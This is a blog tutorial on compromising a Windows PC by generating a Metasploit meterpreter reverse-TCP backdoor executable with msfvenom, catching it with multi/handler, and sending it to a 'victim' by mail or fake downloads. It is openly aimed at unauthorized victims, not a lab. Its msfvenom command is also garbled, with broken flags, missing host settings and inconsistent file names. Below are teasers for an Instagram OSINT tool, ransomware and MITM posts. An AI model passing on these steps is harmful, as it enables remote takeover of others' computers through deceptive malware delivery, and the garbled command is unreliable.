How to attack Windows machine with Metasploit on Kali Linux

Step 1: "Creating the Payload"

  • To Hack Window We Need To Create A Payload That Will Act As A Backdoor For Us To Get Into That PC.
  • To Create Payload For Windows.

Open Terminal And Type
    msfvenom -p windows/meterpreter/reverse_tcp - platform windows-a x86 -f exe - o /root/Desktop/back.exe 

  • 192.168.0.101 Is My And Ip Address And 4444 Is The Port Number That I Want To Use.
  • Now You Will Have A New Payload File Named Newpic.exe In Root Folder.       
  • You Need To Deliver This Malicious File To Your Victim.

Step 2: "Starting The Metasploit Framework Console" 

  • For Controlling The Payload We Need To Start The Metasploit Framework  Concole Which Is Prebuilt In Kali Linux. 
  • To Start The Metasploit Framework Console.  

In The Terminal Type "Msfconsole".


Step 3: "Choosing The Exploit Method"

  • As I Have Said The Metasploit Framework Console Has Many Exploitation  Method. 
  • In This We Will Use The Multi Handler.  
  • Type: "use exploit/multi/handler"


Step 4: "Setting The Payload"

  • In Above Step We Set Our Exploitation Method. In This Step We Need To  Specify The Payload That We Have Created. 
  • Type : "Set Payload Windows/Meterpreter/Reverse_tcp"

 

Step 5: "Providing Ip & Port For Backdooring."

  • In This Step We Need To Provide The Ip Address Of Our Machine So That The  Payload Will Connect To Our System. 
  • To Find The Ip Address, Open Terminal And Type Ifconfig, And Copy Your Ip Address.  
  • Then We Have To Set It In The Msfconsole, To Find The "Ip Address" Of Your Kali, Open Terminal And Type "Ifconfig", And Copy Your Ip Address. 
  • Type "Set LHOST 192.168.0.101"(ip address) 
  • Then We Have To Set Lport In The Msfconsole, So Type "Set LPORT 4444" (port  number)


Step 6: "Sending The File And Exploiting"

  • After We Have Given All The Information. We Need To Send The ".exe" File We  Created Before To The Victim Via Mail Or Fake Downloads.   
  • Make Sure That The Victim Install The Files.
  • After Doing It, In The Msfconsole Command, Type "Exploit" 
  • After This Command It Will Show You The Victim Terminal And You Can Control  It.

Step 7: "Now Wait For Your Victim To Click On Your Payload File."

  • When Victim Click And Open The File You Will Get A Session. 
  • Type "Sysinfo" To See The Information About PC Of Victim.

Now You Have Full Access Of Victim PC. Using Commands You Will Access Multiple Things.

To See Command Type Help

Comments

Post a Comment

Popular posts from this blog

OSINT Tool in Termux

Image
The Instagram OSINT Tool gets a range of information from an Instagram account that you normally wouldn't be able to get from just looking at their profile The information includes: [ profile ] : user id, followers / following, number of uploads, profile img URL, business enum, external URL, joined Recently, etc [ tags & mentions ] : most used hashtags and mentioned accounts [ email ] : if any email is used any where it'll be displayed [ posts ] : accessability caption, location, timestamp, caption, picture url, etc ( yet not working correctly with posts instagram marks as 'sensitive cotent' ) How To Install apt update && upgrade -y Pkg install git pkg install python3 git clone https://github.com/th3unkn0n/osi.ig.git && cd osi.ig python3 -m pip install -r requirements.txt Usage python3 main.py -u username
Read more

Active Directory Ransomware Attacks

Image
    Organizations worldwide use Active Directory (AD) as their primary identity service , which makes it a top target for ransomware attacks . This article explains how adversaries exploit Active Directory during ransomware attacks and provides strategies and tools for defending against this modern menace. The two phases of a ransomware attack A common misconception about ransomware attacks is that they are quick: Someone opens an infected email attachment or inserts an infected USB device , and within minutes data across the network is encrypted and a ransom demand is displayed on every screen . The reality is quite different. Ransomware attacks today tend to be quite sophisticated and methodical . To encrypt as much sensitive information as possible and therefore maximize the chances of receiving a high payout , attackers proceed in two phases: Find an entry point — The first step is to gain a foothold in the victim organization ’s network . One common strategy is to comp...
Read more

How to perform a Man-in-the-middle (MITM) attack with Kali Linux

Image
Learn how to perform a Man in the middle attack with arpspoof, driftnet and urlsnarf in Kali Linux In this article, you will learn how to perform a MITM attack to a device that's connected in the same Wi-Fi networks as yours. Requirements This article assumes that you know what is a network interface and you know to how to work with Kali Linux and the command line. Before starting, you will need to know the name of the Network interface (installed on your machine) and the IP of the router that provides Wi-Fi access. The Network Interface Name can be easily obtained as running the ifconfig command on a terminal, then from the list copy the name of the interface that you want to use. The IP of the router can be obtained executing ip route show on a terminal and a message like "default via [This is the router IP]". From the victim, you will only need the IP (the user needs to be connected to the network provided by the router). The process of obtaining the device IP of the v...
Read more